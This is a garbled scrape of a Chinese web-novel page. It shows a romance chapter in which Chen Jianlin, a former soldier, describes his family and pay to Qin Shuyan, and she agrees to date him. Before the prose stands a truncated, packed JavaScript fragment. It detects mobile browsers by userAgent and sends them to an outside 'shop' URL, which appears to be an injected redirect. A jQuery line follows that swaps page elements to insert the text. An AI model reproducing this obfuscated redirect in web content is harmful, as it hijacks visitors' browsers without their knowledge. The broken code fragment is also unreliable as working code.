0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203403|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次自我介绍一下,我叫陈建林,老家x市本地,今年28岁,家里有一个哥哥一个姐姐,他们都已经成家。 哥哥早年接了父亲的班,现在已经是x市公安局副局长了,姐姐在x市医院工作,是护士长。 我父母都是老同志,父亲身体不好,母亲陪着他在首都疗养院常住。 我现在一个月工资是112,外加一些补贴,我可以保证你的生活质量。 另外我习惯了自己干家务,绝对不会让你一个人操持家里的。 虽然我年龄有些大了,但是未婚,也没有谈过对象,之前满脑子都是训练,没时间儿女情长。 转业回来虽然是受伤,但身体健康,完全不影响生活,只是不能再高强度训练,没法上战场了,我不想转文职,干脆就回来了。 你,你……” 陈建林看着一直盯着自己看,认真倾听自己说话的秦舒颜,突然结巴起来。 “你看我怎么样?” 怎么样? 秦舒颜可太满意了! 这家庭背景,接下来的十年绝对妥妥的,谁也闹不了幺蛾子。 而且他工资又高,有人脉有长相,秦舒颜没有不满意的。 “你28啦?”秦舒颜故意问道。 陈建林有些急了,他知道她才刚20,“我身体素质很好的,年龄不是问题!” 秦舒颜忍不住笑了,陈建林才明白她不是真的介意这事,顿时长舒一口气。 “你的条件我很满意,我愿意跟你谈对象。” 陈建林愣愣地看着秦舒颜,只觉得自己飘在云上,欢喜上天了。